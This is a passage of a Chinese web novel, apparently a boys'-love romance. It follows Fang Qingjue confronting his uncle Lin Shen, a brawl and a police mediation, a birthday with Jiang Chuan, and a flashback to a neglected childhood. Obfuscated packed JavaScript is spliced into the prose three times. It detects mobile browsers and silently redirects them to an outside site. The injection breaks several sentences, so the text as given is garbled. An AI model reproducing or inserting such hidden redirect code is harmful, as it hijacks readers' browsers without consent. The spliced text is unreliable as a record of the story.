这人哪有一点苦行僧的样子,都要骚出太平洋了,要不是往津海的车不好打,他还真不愿意搭这个车。 方清珏将座椅放低,躺下去闭上了眼睛,一副不想再搭理人的模样。 江川试着抛了几个话题都没人理,便拍了拍他的胳膊,委屈巴巴地说:“理理我呗。” 方清珏纡尊降贵地睁开了眼睛,抬手降下车窗,海风霎时涌了进来,带进来一股咸湿气息:“空气都要被你的话挤没了。” 江川:“……” 他没什么办法似的叹了口气,从兜里掏出一板药,“那你吃完药再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139897|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡。” 方清珏接过药就着矿泉水喝下去,然后降上车窗,闭着眼睛继续假寐。 车厢内连车载音乐都没放,静得能听见呼啸而过的风声。轿车顺着沿海公路驶向隔壁市,踩着暮色开进一个灰头土脸的旧小区,停在某栋楼下。 方清珏根本没睡着,车一停就睁开眼睛下了车。他爬上五楼,按照地址敲了敲门,一个有些粗犷的男音从门里传过来:“谁啊?” “快递。” 踢儿踏的脚步声渐渐靠近,停在门口,然后门被打开了一条缝,淡淡的酒糟味顺着门缝飘了出来,钻进方清珏的鼻腔。 他噤着鼻子,抬手抓住门板将门彻底拉开,与站在门后的男人打了个照面。 看清彼此样貌的一瞬间,两个人都不约而同地怔住了。 看真人和看照片的感觉不一样,看见男人的一刹那,江川也很明显地愣了一下。 这两个人长得实在是太像了,像到他都分不清方清珏究竟是更像林真真,还是更像这个人。 “他临死前千叮咛万嘱咐一定要把这个给你,”方清珏将信和照片一起递给他,“信我送到了,看不看随你。” 男人垂眼看着信,并没有立刻接。他沉默了一会儿,声音忽然低了下去,像是突然就没有了说话的力气,“他……什么时候走的?” 方清珏讥笑一声。 “他给你写了那么多封信,就是想在临死前见你一面。你始终不肯来,既然这么恨他现在又假惺惺地问这个做什么?” 男人被他的冷嘲热讽激红了眼眶,握着门把的手臂也暴起一根根青筋,“难道我不能恨他吗?” “你恨他?”方清珏像是听见了什么天大的笑话,他逼近一步,略带讥讽地问:“你有什么脸恨他?” 也许是因为身高优势,他明明比男人小了几十岁,却在气势上完全压倒了对方。 “是,他当初被逼着离开了你去结婚生子,这点确实对不住你,但他后来替你做了十五年的牢!” 方清珏咬着后槽牙,每一个字都说得十分用力,像是在为方一航不平,“十五年,整整十五年!他欠你的早就还清了!” 男人听着听着就抿起了唇,下颌绷得很紧,绷出一道凌厉的曲线。 “他进监狱的时候你跑了,出狱后你又来找他。你们两个人爱怎么纠葛不清那是你们的事,祸害别人干什么?我妈欠了你什么,又欠了他什么?” “你以为你妈是什么好东西?” 林真真就像是一个雷区,瞬间将男人强压着的情绪点燃,声音也高了起来,“是她趁你爷爷病危逼你爸结的婚!她这是咎由自取,怪不得别人!” 这几句话听得方清珏攥紧了拳头,捏得骨节咔咔作响。他用力将信砸向男人,一个字一个字地质问:“那、我、呢?” 压抑了多年的情绪突然爆发,像海啸般汹涌,方清珏揪着男人的衣领,失控地大声喊:“我他妈应该恨谁?你们互相伤害为什么要拉我陪葬?你知道我自出生以来过得是什么样的日子吗?” 他歪着头,用食指一下下点着自己的脸颊,眼睛瞪得溜圆,声音几近咆哮,“你知道我他妈有多恨这张脸吗!” 男人被他吼得懵了一瞬,随后就笑了起来。一开始笑声还很低,后来越笑声音越大,笑声分外苍凉:“恨谁?当然是恨你爷爷啊,是他一心想要抱孙子,不然你以为你有机会出生?” 方清珏猛地将他推开,男人被这突如其来的一下推得坐在了地上。 “舅舅。” 男人闻言一怔,抬起眼帘愣愣地看着方清珏,眼里参杂了几分说不清道不明的情绪。但方清珏那双微微泛红的眼里只有鄙夷,居高临下的目光就像在看一堆垃圾。 “你真让人恶心。” 8. N.愿望与你 江川猛地睁大了双眼,不可置信地看着方清珏和那个男人,垂在身侧的手悄无声息地攥了起来。 方清珏转身拉着他的胳膊往出走,没走出几步,便听男人粗狂的声音从背后传来。 “不愧是林真真的儿子。” 他停下脚步,江川立刻反握住他的手拽着他往前走:“别回头。” “你字字句句都戳他心窝子,他难免会恼羞成怒,说一些不中听的垃圾话。” 男人的声音断断续续的响起。 “狗娘养的畜生,你以为你就不恶心,你们全家都恶心透了。” “你和你那个令人作呕的父亲一样,早晚会把身边的人全都恶心光——” 方清珏本已走到楼梯口,听见这一句立马甩开江川的手,转身跑了回去。 只听“咚!”的一声,他一拳打在骂骂咧咧的男人身上,把男人打趴在地上,“我和他不一样!” 他攥着拳头,手背和太阳穴的青筋都爆了起来,微垂的眸光里满是压抑不住的怒火。 “你们才一样,你们仨儿没有一个好东西!” 男人愣了一秒,随即反应过来,立刻从地上爬起来回击,一拳将方清珏揍出了门。 “操!”江川刚跑到门口就看到这一幕,气得脸都绿了,登时抬脚踹了过去。 下一秒,防盗门嘭地一声闭合,隔绝了方清珏和门里的两个男人。 他捂着脸,怔怔地望着门的方向,好似没反应过来发生了什么。 屋子里传来噼里啪啦的打斗声,伴随着男人越来越放肆的叫骂。方清珏走过去用力拍门,大喊着:“林深,你他妈敢动他一根汗毛我立刻把你当年那点破事捅到警察局!” “你捅!老子还要报警抓——” 他的声音戛然而止,随即变成了听不真切的呜咽,像是被人用什么东西堵住了嘴。 屋里的打斗声没有停止,但声音变得简单许多,听起来不是有来有往的互殴,是单方面挨揍。 方清珏又拍了拍门:“江川,你给我把门打开!” 没人回应。 方清珏急得踹起了门:“我数到三!” 话音一落,门咔哒一声打开了,他的脚还悬在半空中没来得及下落,江川站在门口,低头整理了一下衣服,说:“走吧。” 他身后是乱糟糟的客厅,茶几桌椅都翻倒在地,啤酒瓶更是碎得哪儿都是,林深就躺在玻璃碴子上,双手双脚都被捆住了,嘴里还塞着一颗乒乓球。 方清珏微微睁大了眼,登时觉得刚刚的担心纯属多余。 江川抓着他的手腕拽着他往楼梯那走。他没关门,任何路过的人都能看见林深狼狈的惨相。 刚走出居民楼,就有辆警车顺着甬道开过来,停在单元门口。见状,江川立刻拉着他往SUV那走,没想到头顶传来一声:“就是他们!是他们打人!” 听声音是个中年妇女。 方清珏抬眼一看,四楼的窗户那探出来一颗头。 警察听罢,立刻将他和江川拦住,仰头看楼上的住户:“是你报的警?” “是我报的警。”那人说,“我一回来就听楼上有争执声,听着就知道他们肯定会打起来。” 言谈间,有几名警察已经进了居民楼。方清珏和江川不约而同地看向了对方,又立刻收回了视线。 处理这场纠纷的是一个中年男子,按照惯例先登记了一遍个人信息才开始了解情况。 “你们是什么关系,有什么过节,为什么打人。”他盯着方清珏和江川,神情威严,“我告诉你们,入室打人的后果很严重,搞不好是要蹲局子的!” 方清珏:“他是我舅。” 闻言,警察微微一怔,看向林深的目光变得一言难尽:“你连你亲外甥都打,你还是人吗?” “他不光打我,他还骂我妈!”方清珏指着林深,委屈到义愤填膺的劲儿一点也不像演的。 警察彻底黑了脸,啪地一声把笔摔在桌子上,不记了。 “家庭纠纷我们管不了,你们该去哪儿去哪儿吧。” 林深一听就不干了,“凭什么管不了,他们把我打成这样不得赔医药费?我要起诉!” 警察:“起诉那你去法院啊,冲我喊什么。” “那他呢!”林深指着江川,“我可不认识他,更没亲戚关系。” 警察的目光随之挪到江川身上,表情变得更加一言难尽:“你也是,你和人非亲非故的瞎跟着参活什么?你瞅你给人打的!” 江川闻言一哂:“警官,你老婆被人打了你会不管?” 话音一落,除了他以外的几个人均是一愣,尤其是林深。他偏头打量着江川,几秒后又看向方清珏,眼里渐渐冒出了幸灾乐祸的火光。 警察清了清嗓子,端起茶杯象征性地喝了一口,重新拿起了记录笔。 方清珏用眼尾斜瞪着江川:“谁是你老婆!” 江川的表情甚是无奈:“那老公总行了吧。” 方清珏纠正:“前夫。” “行行行。”江川摊开手,“前夫就前夫。” “行了。”警察用笔帽敲了敲桌面,“甭管你们是什么关系,因为什么打起来,把人打成这样是不对的,要负责任的知道吗!” “不用了。”林深脸上带着古怪的笑容,“既然是外媳,这件事就这么算了吧。” 警察登时拧紧了眉头,再次把记录笔摔在了桌子上,“你这个人怎么回事,挺大一个老爷们,打外甥的是你,打完舔着脸要医疗费的是你,闹了半天你又要算了,你吃饱了没事干在这耍我玩呢是吧!” 林深被骂得哑了火,警察也懒得管他们的家庭纠纷,在和解书上签完字就他们走了。 方清珏和江川走在前面,林深走在后面,三个人前后脚出了派出所。 “喂。”林深叫住他,“你妈知道你是同性恋吗?” 方清珏回过头瞪他,“你妈才是同性恋。” 林深看过来的眼神很怪异,让人很不舒服:“方一航知道他儿子是同性恋吗?” 江川瞥了他一眼,拉着方清珏往前走,“别理他,他就是条疯狗。” “你就不怕他和他那个死爹一样抛弃你去结婚生子?” 闻言,江川停下脚步,看向林深的目光变得尖锐且锋利,“只要他开心,想干什么都行。” “这么体贴啊。”林深忽然耸动着肩膀笑了出来,“怪不得被踹了。” “操!”方清珏忍无可忍地甩开江川的手,回头直冲林深走过去,擒着他的衣领把他薅到面前,声音里带着压不住的火气:“你有什么脸说你被抛弃,不是你先抢你妹妹男人的?林深,掰弯直男遭报应,方一航走了,下一个就是你。” 林深听罢,脸色骤然变得很难看,连瞳孔都缩小了一圈,像是诧异他居然知道这么多。 方清珏胳膊一甩,像丢垃圾一样丢开了他,转身准备走,却在回头的一刹那,好似看见江川那张隐匿在月光下的脸裂出几道几不可见的裂纹。 之所以是好似,是因为裂痕转瞬即逝,堪比风过无痕,快得让人怀疑是不是看错了。 他定睛细看,江川唇角微扬,明明在对他笑。也许是心理作用,方清珏竟然会觉得这抹万年不变的假笑被头顶的月光衬得很惨淡。 * 夜车行驶在宽敞的公路上。 方清珏坐在副驾驶,偏头看向窗外,不知在想什么。 江川专注地开着车,没有说话的意思,车厢内静得能听见空调运作的细微声响。 “江川,这五年……”方清珏顿了一下,“你后悔过么。” 江川陡然握紧了方向盘,随后又松开,低声道:“没有过。” 对于这个回答,方清珏一点也不意外。 他想,他应该感谢江川说了实话。可张了张嘴,嗓子却突然失了声,根本发不出来声。 原来心和大脑并不相连,有时候会各疼各的。 “是一直很后悔。”江川强调道。 方清珏怔住了。 几秒后,他很轻地抿了下唇,心道,不可能。 分开不是一天两天,是整整五年。如果真的后悔,怎么可能一直没有动作? 出个国而已,能有多难? 飞机十个小时就到了。 轿车缓缓停在路边,江川一言不发地下了车,方清珏偏头看着窗外的路灯,没问他去干什么。 几分钟后,江川拎着塑料袋回来,“南瓜枸杞粥,山药大米粥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139898|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,莲子小米粥,喝哪个?” 方清珏:“……山药的吧。” 江川从塑料袋里拿出一杯塑封好的粥,插上吸管,递过来。 “知道你没什么胃口,但一会儿得吃药,胃里不能没有东西。” 方清珏嗯了一声,接过山药粥喝了一口。 天空漆黑一片,连颗星星都没有,江川打开手机扒拉了几下,重新开了导航。 “其实你不用去想他说的那些话,上一辈的恩怨与你没关系,不论是谁,都不应该将怨念强加在你身上。” 方清珏扯了下唇角,表情变得很讽刺:“你是想说林真真吧。” 江川没反驳。 方清珏望着窗外,感觉黑沉沉的夜就像他不得天光的过往。 “……也许我就不应该出生。” “说出来你可能不信,我也有过这种念头。” 闻言,方清珏转过头去诧异地看着他。 清冷的月光下,江川静静地望着前方,脸上什么表情都没有,像是终于卸下了伪装,没再戴那副假笑面具。 “但我们既然出生了,就不要再去想该不该,毕竟我们不是为他们活的,你说对不对。” 方清珏没说话。 林真真有多恨他,方一航就有多无法面对他,他们看他的眼神根本不是父母看儿子的眼神。 曾经他恨所有人,恨不得自己没出生,后来他认识了江川,也从更多人的口中了解了林真真和方一航的故事,才发现他是何其无辜,因为一张脸沦为老一辈的怨果。 方一航这个烂赌鬼连医药费都没交齐,还欠着高利贷,他被各方施压逼着还债,却始终没有动过海角街的房子,并在临终前将房子留给了他。 接到电话时方清珏很惊讶,还以为这个人临死良心有所发现。等他交完欠款见到照顾方一航的护士,看见那封信和那张照片时,心彻底凉了,一想到这个人只觉得恶心反胃。 这栋房子到底是对儿子的亏欠,还是对旧情人的愧疚,早就说不清了。所以方清珏没有留,立刻找中介挂到网上售卖。 江川发动引擎,SUV顺着公路转了个弯,没多久就停在一家商务酒店门口。 见状,方清珏偏过头来,眯缝着眼睛看江川,一脸“我就知道”的表情。 江川立刻道:“想什么呢!” 方清珏依旧眯着眼睛看他:“你敢说你不想?” “想。”江川很诚恳地说,“但不想只是走个肾。” 像是为了证明什么,他定的是一间双床房。方清珏一进屋就去洗澡了,出来时发现屋里很黑,只有写字桌上的台灯亮着,散发着微弱的光。 江川捧着一块小蛋糕走过来,笑着说:“生日快乐,小刺猬。” 方清珏不由得愣住了。 他都不记得今天是自己的生日。 “已经过十二点了,有点晚,还好我提前准备了礼物。”江川将什么东西放在他手心,“这回可别再丢了。” 方清珏垂眼一看,是那个被他扔在机场的黑色蓝调口琴,盖板上有英文字母J的标识。 他什么时候捡回来的? 五年过去了,口琴依旧如昨,一点也没有变旧,只是J字标识的边缘有点模糊,像是有人经常抚摸那里。 他的睫毛轻轻地颤了颤,心在胸腔里轻轻一荡,一种难以言喻的感觉翻涌上来,脑子里灌满了甜汽水,咕噜噜地冒着泡。 “不管别人怎么想,我很感谢你的出生。你存在,就是命运赐予我最大的惊喜。” 江川的声音很温柔,每一句话都说得无比真诚,纵使方清珏不太信,也难以抑制地眼眶发酸。 他用力眨了下眼睛,声音有点颤:“别煽情。” 江川笑了笑,掏出ZIPPO打火机点燃生日蜡烛,将蛋糕举到他面前:“许个愿吧。” “许个屁,又不会成真。” “怎么会呢?” “说得像你许过似的。” “我许过。” 方清珏讶然一秒,登时抬起了眼。 也许是今晚的月色太温柔,江川眼里又映着萤萤烛光,所以看起来格外动人。 “在每个双手合十的瞬间,我许下的愿望全部与你有关。” 9. P.蓝调口琴 少年心动就像栀子花开,毫无理由,悄无声息,没有任何预兆。 - 夏风从窗口涌进,懒懒地穿堂而过,留下一室潮湿的海腥气。 方清珏坐在写字桌前,看着窗外那些在海滩上奔跑嬉戏的孩童和跟在他们身后的大人,默默放下了手中的塑料勺。 面前巴掌大的三角蛋糕色泽鲜艳,香气逼人,但他一口也吃不下去。 今天是他的生日。 但没人记得,没人在意,也没人给他过。 十六年来一直如此,他早习惯了,放学后在蛋糕店徘徊了许久,最后还是进去给自己买了块最便宜的。 这块花掉他一星期生活费的蛋糕,无论是从尺寸,还是用料,都跟林真真买给方程的那些没法比。 林真真只记得方程的生日,仿佛她只有这么一个儿子。在这个家,方清珏就像一个影子,或者是空气,孤零零又突兀的存在角落里,旁观他的母亲爱另一个孩子。 其实他不介意林真真从未给他庆祝过生日,但他很难过林真真从未给过他好脸色,每天不是冷嘲热讽,就是横眉冷对。 小时候他不懂为什么,只觉得方程有的他也应该有,为此问过哭过也闹过,得到的都是林真真更加冷漠的对待,还有更恶毒的话语。 林真真从不打他,她只是不爱他。不,应该说,她眼里根本没有这个儿子。 方程也很冷漠,却不是只对他冷漠,而是那种与谁都不亲近的冷漠。他一直心安理得地享受着林真真的偏爱和方清珏的照顾,全然不像一个哥哥。 “吱呀——” 门被人推开了。 方清珏回过神,见方程走进来,将一个购物袋放在桌子上。 “这什么?”他问。 方程:“生日礼物。” 他的声音一点起伏都没有,像个没有感情的机器人,但方清珏还是震惊地睁大了双眼,连瞳孔都震了震。 这是方程第一次送他东西。 有那么一瞬间,他有点怀疑这个购物袋里装的是不是炸弹。 方清珏暗自消化了一会儿,才难以置信地问:“你……脑子瓦塔了?” 这话不好听,但方程并没有生气。 或者说,他并没有因为这句冒犯的话而产生一丁点的情绪。 他平静地从购物袋里拿出几本教辅书和练习册,放在书桌上。 方清珏眨了眨眼,睫毛轻轻地阖动着,黝黑的眼里写满了不解。 这东西和炸弹没什么区别吧。 他看了几眼练习册,又移开视线,用一种看精神病的目光看着方程。 方程似乎没感受到这抹异样的目光,也可能感受到了也并不理解,所以才自顾自地往下说:“这几本练习册比较适合你,跟着学校的进度做可以提高成绩。” 方清珏:“……” 他深吸几口气,忍了又忍,还是没忍住:“你有病吧。” 方程听罢皱了皱眉,神情严肃地说:“我送你礼物,你应该说谢谢。” 方清珏瞪着他:“故意找茬是吧?” “你为什么这么激动。”方程说话的语气终于有了点不明显的起伏,像一台电脑在试图理解刚载入的程序,“不喜欢这个礼物?” ……这算哪门子礼物! 方清珏猛地站起来,正要说什么,便听身后传来一个干净温煦的嗓音: “你弟弟怎么会住这屋?” 他纳罕地回过头,看见一个穿着八中校服,长得特别清隽特别日系的男生。 那是一张和声音极其相符的脸,不长,比传统瓜子脸还短一些,眉弓上扬,下巴偏尖,高挺的鼻梁上架着一副金丝边眼镜,不仅生得好,气质也很温润,像那种从小在书香门第长大的儒雅书生。 “客卧被我妈改成衣帽间了。”方程说。 男生听罢,倚着门框懒散地打量了一圈房间,“那再改回去呗,总不能让你弟弟住杂货间吧。” 方程略微思量了一下,点头:“那我和我妈说说。” “别,”方清珏说,“你说完她该骂我不知足了。” 其实这栋二层小别墅有两间客卧,一个被林真真改成了衣帽间,一个被改成了书房。方清珏知道,林真真这么做是想让他明白——他的到来只是个意外。 方程不甚在意地说:“骂就骂了,哪有父母不骂孩子的。” 方清珏暗暗啧了一声,心说,感情骂的不是你,真是站着说话不腰疼。 似乎察觉到他们之间的气氛有些不对,那个男生清了清嗓子,和煦地笑了笑:“这天儿也太热了。有冰镇西瓜吗?” “有。”方程说,“在冰箱里。” “哪有让客人自己动手的,”男生说,“你去切。” 方程觉得他说得有道理,便点了点头,转身出去了。 “今天是你生日?”男生将蓝白相间的校服外套脱下来搭在胳膊上,提步走了过来。 这个人瞳色很浅,迎着光走过来时瞳孔都被日光浸泡成了淡淡的琥珀色,格外的清澈澄净,几乎能一眼望到底。 方清珏疑惑地看着他,没说是也没说不是。 “你是谁?” 他弯了弯眉眼,含着笑说:“你哥的朋友啊。” 那双浅淡的眼眸里无比清晰地映出了方清珏的影子,令方清珏生出一种终于有人看见他了的错觉。 怎么会呢? 有方程这个数学天才在,他是被所有人忽略遗忘的存在。 方清珏凝了凝神,转身坐回椅子里,语气里透着嘲讽:“他居然会交朋友?” “是不太会,得一点点教。”男生淡淡地笑着,声音很温柔,像四月天的春风。他看着书架上摆着的几个廉价魔方,转移了话题:“你喜欢玩魔方?” 方清珏点点头。 “介意我玩一下吗?” 方清珏对方程不满,连带着对方程的朋友也没什么好脸色:“我说介意你就不玩了?” “介意我就玩半下。”他拿起一个三阶魔方,单手飞快地转着,“我小时候也喜欢玩这个,心乱的时候玩一会儿就能平静下来。” 话音一落,他将复原的魔方放在方清珏面前的练习册上,唇边带着柔和的笑意:“初次见面,我是江川。” 方清珏充耳未闻,两只眼睛盯着被复原的三阶魔方,惊讶地张大了嘴巴——单手复原只用了不到十秒,这速度可以挑战世界纪录了! 江川微微扬起眉角,似乎被他的反应逗到了,脸上的笑意变得更深。 “你哥没送过礼,一点经验都没有,一开始是以他自己的喜好挑的礼物,后来被老伍说了一顿才去商场买衣服。” 江川从购物袋里拿出一件衣服,“你要不要试试看?” 方清珏更震惊了,比亲眼看见他用能破世界纪录的速度复原魔方还要震惊。 “干嘛这个表情。”江川把衣服放了回去,“也不知道你哥这个大直男挑的码数对不对,这是他第一次给人买衣服……” 方清珏仍旧在震惊中没回过神来,整个人跟被人点了穴似的一动不动,也不说话。 “你不爱吃糖哦?”江川目光一偏,看着那颗被特意挑出来,扔在蛋糕盖子里,还沾着点劣质奶油的樱桃糖,“巧了,我特别爱吃。” 他拿起樱桃糖塞进嘴里,然后从兜里掏出一个蓝调口琴,用口琴的一端点了一下方清珏的脸颊。 冰冰凉的触感让方清珏霎时回过神来。然后,他就听见他说:“这个送你了,算是礼尚往来。” 一个黑色口琴递到面前,盖板上刻着英文字母J,应该是特意定制的自用款。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139899|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方清珏立刻摇了摇头。 “拿着吧。”江川将口琴放在桌子上,“你哨子吹得挺好的,好好练的话,口琴应该也能吹得不错。” 他说着便掏出手机:“我这有一些新手教程,加你微信给你发过去?” 方清珏:“我没有微信。” “也对。”江川说,“你们应该习惯用Q。” 方清珏面无表情道:“也没有Q。” 闻言,江川掀起眼皮看过来,眼神有些莫名。方清珏和他对视了几秒,从书包里摸出一个旧手机,解开锁屏递给他,“自己看。” 江川扫了眼手机,表情变得有些耐人寻味。一般人在这时都会知趣地下这个台阶,他却没有,竟然真的接过手机,低头摆弄了起来。 方清珏看了他几秒才挪开视线。 其实他知道他刚刚在想什么。 这手机是方程念初中时用的,已经很卡了,如果不是林真真给方程买了iPhone 4S,他连这种卡得要死的淘汰机也不会有。 “手机号。”江川说。 方清珏不知道他要干什么,但还是鬼使神差地报出来一串数字,报完才反应过来这人是不是看手机看得有点久。 江川又鼓捣了几分钟才把手机还给他,“为什么不用社交软件?” 方清珏:“不需要。” “你怎么还在这屋?”方程站在门口,手里端着一盘切好的西瓜,“不写作业了吗?” 江川瞥了他一眼,眼神顿时变得非常非常的无奈。他走过去把那盘西瓜抢了过来,放在方清珏书桌上,扭头对方程说:“你再去切一盘。” 方程不理解:“为什么?” 江川:“咱俩吃西瓜,然后让你弟弟干看着?” 方程:“他又没说要吃。” 江川一言难尽地看着他,“你能不能把你的智商匀出来一点给你那可怜到令人发指的情商?” “算了,我跟你一块去吧。”他走到门口,拽着方程一起下楼了。 方清珏看了几秒西瓜,又看了看购物袋里的白色短袖,再看看练习册上的口琴,心里登时生出一种不真实的虚无感。 海风吹过来,院里的草木随韵轻舞,发出一阵窸窸窣窣的轻响。阳光顺着枝叶间的缝隙洒落在原木书桌上,在桌角积成一片,像发着光的几何图形。 方清珏挣扎半晌,将白色短袖原封不动地放进衣柜,然后拿起一牙西瓜,边吃边摆弄手机。 屏幕上多出来一个绿色交友软件。 点进去一看,江川竟然连账户都给他注册好了,好友列表里只有一个头像是朵白云的人。 这时,手机短促地震动了一下。这个人发过来一条消息。 【J:生日快乐。】 方清珏眨了眨眼,福灵心至地回过头,见江川站在光影交错的走廊里,身上渡着淡淡的光。 在四目相对的那一秒,他举起手机在空中挥了挥,眼角眉梢藏着的笑意像清晨穿透山林的第一道曦光,温和且充满力量。 “你已经耽误我二十分钟了。”方程不满地将他拽进书房,“你知道二十分钟能解多少题吗?” “哎呀……”江川的声音拉远了,“总不能事事都讲究效率,你是人又不是机器。” “以后别再找我写作业。”方程关上门。 走廊已经空无一人,只剩投射在墙壁上的斑驳光影,但方清珏保持着这个姿势看了半晌才收回视线。 他的目光重新落回微信对话框上,酝酿了半天却不知道该回复什么。 十六年来,江川是第一个对他说这句话的人。 而且,他能很清晰地感觉到,这个人看见的只是方清珏,不是谁的弟弟。 他是第一个看见方清珏的人,这让方清珏的心不受控制地躁动了起来。 10. P.校草江川 夕阳西下,室内比室外先暗了下来。 方清珏打开台灯,一边转笔一边做阅读理解,直到做完这张英语卷子才起身往出走。 路过书房的时候,门被人从里面打开了,江川背着书包站在门口,看见他便弯了弯眉眼:“干什么去?” “做饭。”方清珏往门里看了一眼,方程还坐在写字桌后奋笔疾书,“你写完作业了?” “哪能这么快。”江川顺手关上门,“我回去吃饭,吃完再写。” 方清珏有点无语:“他不留你吃饭就算了,也不说送送你?” 江川看起来一点也不介意,跟在旁边和他一起往楼下走,“你哥觉得送来送去的浪费时间。” 真是稀奇。 都被方程划分到无用社交里了,他居然不生气。 方清珏啧了一声,由衷地感慨了一句:“你人还怪好的。” “是吧,我也这么觉得。”江川扬了下眉。 方清珏:“……” 江川离开没多久林真真就回来了,方清珏正在厨房炒菜,听见开门声立刻将做好的两道菜端了出去。 “还没做好?”林真真不甚满意地问。 她说话不分前后鼻音,给人一种广东人有福建口音的感觉,再加上那个嫌弃的表情,就显得有点刻薄。 “最后一道。”方清珏说着又进了厨房。 三素一荤端上桌,给每个碗盛好米饭,他抬头冲着楼梯喊:“吃饭了!” 没一会儿,林真真穿着居家服下来了。她刚洗完澡,头发还是湿的,入座后方程才走下来。 方清珏挨着墙坐在角落,旁边是方程,林真真坐在方程对面。三个人安静地吃了一会儿,林真真忽然问:“你最近跟陈婆家那小子走得挺近?” 方程:“嗯。” “他也在竞赛班?” “嗯。” 林真真满脸不屑:“他数学又没拿过满分,瞎跟着凑什么热闹。” 方程:“他是全校第一。” 方清珏夹菜的动作一顿,心想,怪不得觉得这名字有点熟悉呢,高中部第一,不就是大家口中的校草吗? “第一怎么了。”林真真不以为意,“不过是个普通人罢了,就英语得过满分,总分就比你高一点。要不是你语文瘸腿得厉害,也不至于被人抢了风头,变成万年老二。” 方程不认同:“他英语很好,还会德语,作为中学生代表去首都演讲还拿了奖。” “还德语,你听他吹。”林真真撇了撇嘴,像是想起了什么,说:“你这个阅读老师教得不行,一点效果都没有,我再给你换一个。” 方程没说话,方清珏也闷头吃饭,房间里静得能听见筷子触碰瓷器的细响。 片刻后,林真真撂下筷子,用湿巾擦了擦嘴,“下个月CMO省联考,有没有信心拿省一?” 方程点头:“大概率。” 省一必能进入国家集训队,相当于半条腿迈进了北清,林真真的脸上终于有了几分笑意:“不愧是我儿子,想吃什么,明天妈给你做。” 方程思索了几秒,说:“油爆虾。” 林真真奇怪地看着他,“为什么想吃这个?” 方程睨了一眼方清珏,“妈,今天是——” “你要吃虾?”林真真像才注意到有方清珏这么一个人似的看向他,一张口就是指责,“你不知道你哥哥海鲜过敏?” 她的神态表情都在谴责方清珏无理取闹,令他感觉十分难堪,心里极不是滋味,甚至怀疑方程是不是故意的。 “我没想吃。”他低着头,默默捏紧了筷子,“谁知道他怎么回事。” “刘海长的都能挡住眼睛了。”林真真的目光从眼尾扫过来,透着点似有若无的敌意和嫌弃,“像什么样子,明天去剪了。” 方清珏:“知道了。” 她没再问方程的意见,直接拍板:“就上次那家火锅,他家牛肉丸还挺正宗的,明天放学我去接你。” 方程用筷子扒拉着碗里的饭,没再吃,也没说话。林真真说完就上楼了,他一言不发地下桌,也回了书房。 方清珏碗里剩了点饭,但他没胃口再吃,端着碗筷去厨房洗碗。洗完又把客厅打扫了一遍,才踩着月光回房间继续写练习册。 会做的题全部做完,不会的题对着答案步骤慢慢琢磨,琢磨明白了继续下一道,琢磨不明白也继续下一道。 但下一道的答案只有结果,没有过程。 方清珏犯起了难,正琢磨这个结果怎么来的,忽然听见身后传来了方程的声音:“喝不喝牛奶。” 他头也不回地说:“那是妈专门给你定的,我喝她该说我了。” 一杯热牛奶出现在桌子上,方程说:“你初三,学习压力也大。” 方清珏盯着那杯牛奶看了几秒才抬起头,黑沉的眸光里有刺一样的锋芒,像是想把他看透。 方程的目光却落在他涂涂改改的那道题上,“p点坐标是(-6,4)。” 方清珏已经对他变态的心算能力习以为常了,如今只觉得烦躁:“大哥,过程呢?” 方程夺过他的笔,在一旁稿纸上写计算步骤,只用了几步就将结果算出来了。 方清珏更加无语了。 他想说这种解法他还没学,写出来大概率不会给分,更何况他根本没看懂。 但方程没给他这个机会,写完扔下笔就走了。 方清珏盯着那杯牛奶咬牙切齿。 他是故意的。 他就是故意的。 人与人之间的差距太大了,同一个爹妈生的,智商却一个天上一个地下,方清珏没再做那道题,揣着口琴出了门。 他们家离海很近,顺着巷子走出去就是浅水湾。 八月盛夏,很多人会来海边夜游。方清珏坐在一块礁石上照着视频练习口琴。 这东西比吹口哨难,有两个音节他怎么压都压不出来,折腾了半天只被海风吹得透心凉。 林真真不记得今天是他生日。 他以为自己早该习惯了,没想到心里还是空落落的,说不出是失落还是失望。 * 八中是初高中一体的学校,也是港城唯一一个市重点。校长为了出成绩,给初三和高三的学生设置了预科班,七月一放暑假,预科班马上开课,补到九月正式开学。 初三和高三的预科班是一起放学的,方程不知道哪根筋没搭对,特意来初中部找方清珏一起回家,搞得方清珏怀疑这人是不是犯了事,害怕路上有人堵他。 两个人刚走出校门,就看见戴着墨镜的林真真等在门口的大柳树下。他蓦然明白过来,方程是想拉他一起去吃饭。 林真真一看见他就皱起了眉头:“你怎么还没剪头?” 方清珏的脾气瞬间就上来了。 他瞪了一眼方程,强压着情绪说:“我刚放学,哪来的时间剪。” 林真真命令道:“现在就去。” 方清珏没说什么,转身走了。 方程看着他渐行渐远的背影,语气带着点怨气,“为什么不带他。” “为什么要带他?” 